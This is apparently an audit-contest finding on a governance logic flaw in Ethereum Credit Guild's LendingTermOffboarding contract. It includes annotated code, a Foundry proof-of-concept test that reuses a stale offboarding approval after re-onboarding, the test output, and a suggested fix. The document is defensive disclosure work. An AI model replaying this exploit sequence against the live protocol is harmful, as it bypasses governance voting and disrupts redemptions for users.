# Medium Severity

## Title
If a term is reonboarded before is cleaned up, it can be offboarded immediately without going through the offboarding process again of proposing and voting for the offboarding

## Impact
- If a term is offboarded for any reason, but while the existing loans are closed, if the same term is re-onboarded, the contract state of the LendingTermOffboard contract will allow to offboard and clean up the term again without going through the full process of offboarding (proposing and voting).
- A side effect of this bug is also that the `nOffboardingsInProgress` will be messed up and the PSM won't be unpaused even though there are no anymore offboardings in process.


## Proof of Concept
- When a term is offboarded, GUILD holders can propose the offboarding of the term, then a poll will be initiated to collect votes and determine if there are enough holders that agree the term should be offboarded, holders express their support to offboard a term by calling the supportOffboard() which will use their userWeight to vote in favor of the offboard proposal, and if enough votes are collected (during the poll duration), the term will be ready to be offboarded. Then anybody can call the [`LendingTermOffboarding::offboard() function`](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L153-L170) and provide the term that will be offboarded, this function will remove the term from the gagues, which will cause that no more borrows are allowed on that term, and it will also pause the redemptions in the PSM contract. Before cleaning up the term and unpausing the redemptions in the PSM module, all the open loans in the term must be fully closed. Once the loans are closed, anybody can call the [`LendingTermOffboarding::cleanup() function`](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L175-L199) and provide the term that is been cleaned up, this function will revoke the roles assigned to the term contract, and will unpause the redemptions in the PSM module (if there are no more offboardings in process), but, if the term is not anymore deprecated, this function will revert because the term was re-onboarded, which means, **if a term is re-onboarded, the previous offboarding process must not be effective to complete the offboarding of the term**, but, there is a bug in the logic of the LendingTermOffboarding contract that allows to re-use the previous offboarding process if it was not cleaned up, thus, a user could mess up the term and proceed to call the [`LendingTermOffboarding::offboard() function`](https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOffboarding.sol#L153-L170) again which will offboard the term and pause the borrows from it and will mess up the accounting of the `nOffboardingsInProgress` because it will be incremented and it would report as if a new process to offboard a term was completed, when in reality, an old process is being reused. Let's do a code walkthrough to verify the previous explanation.

> LendingTermOffboarding.sol
```solidity
function offboard(address term) external whenNotPaused {
    //@audit-ok => Only if the proposal reaches quorum it can be offboarded
      //@audit-info => Reaching quorum means that the offboarding was proposed and voted by the holders
    require(canOffboard[term], "LendingTermOffboarding: quorum not met");

    //@audit-info => Removes the LendingTerm from the Active Gauges, thus, the loans in the term will become callable!
    // update protocol config
    // this will revert if the term has already been offboarded
    // through another mean.
    GuildToken(guildToken).removeGauge(term);

    //@audit-ok => If redemptions are not paused and there was not another term being offboarded (pending to be cleaned up), pause redemptions in the psm!
    // pause psm redemptions
    if (
        nOffboardingsInProgress++ == 0 &&
        !SimplePSM(psm).redemptionsPaused()
    ) {
        SimplePSM(psm).setRedemptionsPaused(true);
    }

    emit Offboard(block.timestamp, term);
}

function cleanup(address term) external whenNotPaused {
    require(canOffboard[term], "LendingTermOffboarding: quorum not met");

    //@audit-ok => Term can't be offboarded if the term has open loans!
    require(
        LendingTerm(term).issuance() == 0,
        "LendingTermOffboarding: not all loans closed"
    );

    //@audit-info => If the gauge was re-onboarded, it can't be cleaned up!
    require(
        GuildToken(guildToken).isDeprecatedGauge(term),
        "LendingTermOffboarding: re-onboarded"
    );

    //@audit-ok => Removes the roles to the term being offboarded!
    // update protocol config
    core().revokeRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term);
    core().revokeRole(CoreRoles.GAUGE_PNL_NOTIFIER, term);

    //@audit-ok => If there are no other active offboardings and the redemptions are paused, proceed to unpause them in the PSM!
    // unpause psm redemptions
    if (
        --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
    ) {
        SimplePSM(psm).setRedemptionsPaused(false);
    }

    //@audit-ok => in case the term is re-added, the offboarding process shall start again in case the term wants to be offboarded again!
    //@audit-ok => By setting the canOffboard[term] variable to false it forces that a new offboarding process needs to be completed, proposing and voting to offboard the term again, no previous offboarding proposal can be reused!

  
    //@audit-issue => But, the problem is that canOffboard[term] is only set to false is the term can be fully cleaned up, if the gauge was re-onboarded, the term won't be able to be cleaned up.
      //@audit-issue => Thus, the canOffboard[term] will still be set to true, which means, the past offboarding proposal can be reused
    canOffboard[term] = false;
    emit Cleanup(block.timestamp, term);
}
```

### Coded PoC
Now, let's take a look at the below PoC that reproduces the problem. The PoC demonstrates how an offboarding proposal can be reused after a term was re-onboarded.
- Help me to create a new file called `OffBoardingAndReOnboardingPoC.t.sol` inside the folder [`unit/governance`](https://github.com/code-423n4/2023-12-ethereumcreditguild/tree/main/src/governance) (the same folder where are the original test file of the LendingTermOffboaring an Onboarding contracts).

```solidity
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;

import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";

import {Test} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {AuctionHouse} from "@src/loan/AuctionHouse.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";
import {LendingTermOffboarding} from "@src/governance/LendingTermOffboarding.sol";

import {Governor, IGovernor} from "@openzeppelin/contracts/governance/Governor.sol";
import {GovernorCountingSimple} from "@openzeppelin/contracts/governance/extensions/GovernorCountingSimple.sol";

import {LendingTermOnboarding} from "@src/governance/LendingTermOnboarding.sol";
import {GuildTimelockController} from "@src/governance/GuildTimelockController.sol";

import "@test/forge-std/src/console2.sol";

contract OffBoardingAndReOnboardingPoC is Test {
  
    address private governor = address(1);
    Core private core;
    ProfitManager private profitManager;
    GuildToken private guild;
    CreditToken private credit;
    MockERC20 private collateral;
    SimplePSM private psm;
    LendingTerm private term;
    AuctionHouse auctionHouse;
    RateLimitedMinter rlcm;
    LendingTermOffboarding private offboarder;
    address private constant alice = address(0x616c696365);
    address private constant bob = address(0xB0B);
    address private constant carol = address(0xca201);
    bytes32 private aliceLoanId;
    uint256 private aliceLoanSize = 500_000e18;

    // LendingTerm params
    uint256 private constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1, same decimals
    uint256 private constant _INTEREST_RATE = 0.05e18; // 5% APR
    uint256 private constant _HARDCAP = 1_000_000e18;

    // LendingTermOffboarding params
    uint32 private constant _QUORUM = 10 minutes;

    GuildTimelockController private timelock;
    LendingTermOnboarding private onboarder;
    LendingTerm private termImplementation;

    // GuildTimelockController params
    uint256 private constant _TIMELOCK_MIN_DELAY = 3600; // 1h

    // LendingTermOnboarding params
    uint256 private constant _VOTING_DELAY = 0;
    uint256 private constant _VOTING_PERIOD = 100_000; // ~14 days
    uint256 private constant _PROPOSAL_THRESHOLD = 2_500_000e18;
    uint256 private constant _QUORUM_ONBOARD = 20_000_000e18;

    function setUp() public {
        vm.warp(1679067867);
        vm.roll(16848497);

        // deploy
        core = new Core();
        profitManager = new ProfitManager(address(core));
        credit = new CreditToken(address(core), "name", "symbol");
        guild = new GuildToken(address(core), address(profitManager));
        collateral = new MockERC20();
        rlcm = new RateLimitedMinter(
            address(core), /*_core*/
            address(credit), /*_token*/
            CoreRoles.RATE_LIMITED_CREDIT_MINTER, /*_role*/
            type(uint256).max, /*_maxRateLimitPerSecond*/
            type(uint128).max, /*_rateLimitPerSecond*/
            type(uint128).max /*_bufferCap*/
        );
        psm = new SimplePSM(
            address(core),
            address(profitManager),
            address(credit),
            address(collateral)
        );
        profitManager.initializeReferences(address(credit), address(guild), address(psm));
        offboarder = new LendingTermOffboarding(
            address(core),
            address(guild),
            address(psm),
            _QUORUM
        );
        auctionHouse = new AuctionHouse(
            address(core),
            650,
            1800
        );

        termImplementation = new LendingTerm();
        timelock = new GuildTimelockController(
            address(core),
            _TIMELOCK_MIN_DELAY
        );
        onboarder = new LendingTermOnboarding(
            LendingTerm.LendingTermReferences({
                profitManager: address(profitManager),
                guildToken: address(guild),
                auctionHouse: address(auctionHouse),
                creditMinter: address(rlcm),
                creditToken: address(credit)
            }), /// _lendingTermReferences
            1, // _gaugeType
            address(core), // _core
            address(timelock), // _timelock
            _VOTING_DELAY, // initialVotingDelay
            _VOTING_PERIOD, // initialVotingPeriod
            _PROPOSAL_THRESHOLD, // initialProposalThreshold
            _QUORUM_ONBOARD // initialQuorum
        );
        onboarder.allowImplementation(
            address(termImplementation),
            true
        );

        core.grantRole(CoreRoles.GOVERNOR, address(timelock));
        core.grantRole(CoreRoles.GAUGE_ADD, address(timelock));
        core.grantRole(CoreRoles.TIMELOCK_EXECUTOR, address(0));
        core.grantRole(CoreRoles.TIMELOCK_PROPOSER, address(onboarder));

        vm.label(address(timelock), "timelock");
        vm.label(address(onboarder), "onboarder");
        vm.label(address(termImplementation), "termImplementation");

        term = LendingTerm(onboarder.createTerm(address(termImplementation), LendingTerm.LendingTermParams({
            collateralToken: address(collateral),
            maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
            interestRate: _INTEREST_RATE,
            maxDelayBetweenPartialRepay: 0,
            minPartialRepayPercent: 0,
            openingFee: 0,
            hardCap: _HARDCAP
        })));

        vm.label(address(term), "term");
        
        // permissions
        core.grantRole(CoreRoles.GOVERNOR, governor);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(offboarder));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GUILD_GOVERNANCE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm));
        core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term));
        core.grantRole(CoreRoles.GOVERNOR, address(offboarder));
        core.renounceRole(CoreRoles.GOVERNOR, address(this));

        // add gauge and vote for it
        guild.setMaxGauges(10);
        guild.addGauge(1, address(term));
        guild.mint(address(this), _HARDCAP * 2);
        guild.incrementGauge(address(term), _HARDCAP);

        // allow GUILD delegations
        guild.setMaxDelegates(10);

        // alice borrows
        collateral.mint(alice, aliceLoanSize);
        vm.startPrank(alice);
        collateral.approve(address(term), aliceLoanSize);
        aliceLoanId = term.borrow(aliceLoanSize, aliceLoanSize);
        vm.stopPrank();

        // labels
        vm.label(address(this), "test");
        vm.label(address(core), "core");
        vm.label(address(profitManager), "profitManager");
        vm.label(address(guild), "guild");
        vm.label(address(credit), "credit");
        vm.label(address(rlcm), "rlcm");
        vm.label(address(auctionHouse), "auctionHouse");
        vm.label(address(term), "term");
        vm.label(address(offboarder), "offboarder");
        vm.label(alice, "alice");
        vm.label(bob, "bob");
        vm.label(carol, "carol");
    }

        function testOffBoardAndReOnBoardPoC() public {
        // prepare to offboard the term!
        guild.mint(bob, _QUORUM);
        vm.startPrank(bob);
        guild.delegate(bob);
        uint256 snapshotBlock = block.number;
        offboarder.proposeOffboard(address(term));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        vm.expectRevert("LendingTermOffboarding: quorum not met");
        offboarder.cleanup(address(term));
        offboarder.supportOffboard(snapshotBlock, address(term));
        console2.log("Offboarding Term");
        offboarder.offboard(address(term));

        // cannot cleanup because loans are active
        vm.expectRevert("LendingTermOffboarding: not all loans closed");
        offboarder.cleanup(address(term));
        vm.stopPrank();

        console2.log("Reonboarding Term after it was Offboarded, but before it is cleared");
        proposeReOnboard();

        console2.log("Closing Loans");
        // get enough CREDIT to pack back interests
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        uint256 debt = term.getLoanDebt(aliceLoanId);
        credit.mint(alice, debt - aliceLoanSize);

        // close loans
        vm.startPrank(alice);
        credit.approve(address(term), debt);
        term.repay(aliceLoanId);
        vm.stopPrank();

        vm.expectRevert("LendingTermOffboarding: re-onboarded");
        offboarder.cleanup(address(term));

        console2.log("Re-Offboarding the term again without proposing and voting for the term to be re-offboarded again");
        offboarder.offboard(address(term));
        
        console2.log("Cleaning Up the Term even though the term was re-onboarded and there were not a new proposal and voting to offboard the term again");
        // cleanup
        offboarder.cleanup(address(term));

        assert(psm.redemptionsPaused() != false);
        assert(offboarder.nOffboardingsInProgress() != 0);
        if(psm.redemptionsPaused() != false) console2.log("Redemptions were not unpaused in the PSM");
        if(offboarder.nOffboardingsInProgress() != 0) console2.log("nOffboardingsInProgress was not downgraded to 0");

        assertEq(offboarder.canOffboard(address(term)), false);
        assertEq(core.hasRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term)), false);
        assertEq(core.hasRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term)), false);
    }


    function proposeReOnboard() public {
        // cannot propose an arbitrary address (must come from factory)
        vm.expectRevert("LendingTermOnboarding: invalid term");
        onboarder.proposeOnboard(address(this));

        // cannot propose if the user doesn't have enough GUILD
        vm.expectRevert("Governor: proposer votes below proposal threshold");
        onboarder.proposeOnboard(address(term));

        // mint GUILD & self delegate
        guild.mint(alice, _PROPOSAL_THRESHOLD);
        guild.mint(bob, _QUORUM_ONBOARD);
        vm.prank(alice);
        guild.delegate(alice);
        vm.prank(bob);
        guild.incrementDelegation(bob, _QUORUM_ONBOARD);
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);

        // propose onboard
        vm.prank(alice);
        uint256 proposalId = onboarder.proposeOnboard(address(term));
        (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory calldatas,
            string memory description
        ) = onboarder.getOnboardProposeArgs(address(term));

        // cannot propose the same term multiple times in a short interval of time
        vm.expectRevert("LendingTermOnboarding: recently proposed");
        onboarder.proposeOnboard(address(term));

        // check proposal creation
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Pending));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Active));

        // support & check status
        vm.prank(bob);
        onboarder.castVote(proposalId, uint8(GovernorCountingSimple.VoteType.For));
        vm.roll(block.number + _VOTING_PERIOD + 1);
        vm.warp(block.timestamp + 13);
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Succeeded));

        // queue
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        onboarder.queue(targets, values, calldatas, keccak256(bytes(description)));
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Queued));

        // execute
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + _TIMELOCK_MIN_DELAY + 13);
        onboarder.execute(targets, values, calldatas, keccak256(bytes(description)));
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Executed));

        // check execution
        assertEq(guild.isGauge(address(term)), true);

    }

}
```

- Now, let's run the PoC and see the output, use the next command to run the PoC `forge test --match-test testOffBoardAndReOnBoardPoC --match-contract OffBoardingAndReOnboardingPoC -vvv`
```
[PASS] testOffBoardAndReOnBoardPoC() (gas: 1410330)
Logs:
  Offboarding Term
  Reonboarding Term after it was Offboarded, but before it is cleared
  Closing Loans
  Re-Offboarding the term again without proposing and voting for the term to be re-offboarded again
  Cleaning Up the Term even though the term was re-onboarded and there were not a new proposal and voting to offboard the term again
  Redemptions were not unpaused in the PSM
  nOffboardingsInProgress was not downgraded to 0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.63ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Tools Used
Manual Audit

## Recommended Mitigation Steps
- The recommendation to mitigate this bug it is to ensure that previous offboarding proposals can't be reused. Add the below changes to the code in the `LendingTermOffboarding.sol` file

> LendingTermOffboarding.sol
```solidity
function offboard(address term) external whenNotPaused {
    //@audit-ok => Only if the proposal reaches quorum it can be offboarded!
    require(canOffboard[term], "LendingTermOffboarding: quorum not met");

    //@audit-recommendation => If the gauge is not deprecated anymore, it means the term was re-onboarded, set the canOffboard[term] to false, in this way, if the term would like to be offboarded again, the offboarding must be proposed and voted again
+   if(!GuildToken(guildToken).isDeprecatedGauge(term)){
+       canOffboard[term] = false;
+       return;
+   }

    ...
}


function cleanup(address term) external whenNotPaused {
  ...

- require(
-     GuildToken(guildToken).isDeprecatedGauge(term),
-     "LendingTermOffboarding: re-onboarded"
- );

  //@audit-recommendation => If the gauge is not a deprecated gauge when cleaning up it means that the gauge was re-onboarded before the cleanup was called
  //@audit-recommendation => update the variables to the state before the term was offboarded!
+ if(!GuildToken(guildToken).isDeprecatedGauge(term)){
+     if (
+         --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
+     ) {
+         SimplePSM(psm).setRedemptionsPaused(false);
+     }
+     canOffboard[term] = false;
+     return;
+ }

  ...
}

```